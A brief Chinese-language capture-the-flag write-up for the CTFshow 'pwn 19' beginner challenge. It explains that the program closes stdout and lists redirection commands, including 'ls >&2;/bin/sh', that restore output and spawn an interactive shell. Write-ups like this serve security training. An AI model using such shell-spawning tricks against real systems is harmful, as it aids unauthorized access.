CTFshow Pwn入门 - pwn 19

先看main函数：

fclose(_bss_start) = fclose(stdout) 关闭了默认fd=1的输出，所以system的结果无法直接看到。
思路：
输出重定向。

ls 1>&0
ls >&0
ls >&2     ###三种写法均可

将输出重定向到能回显的终端并获得一个新的交互式shell：

ls >&2;/bin/sh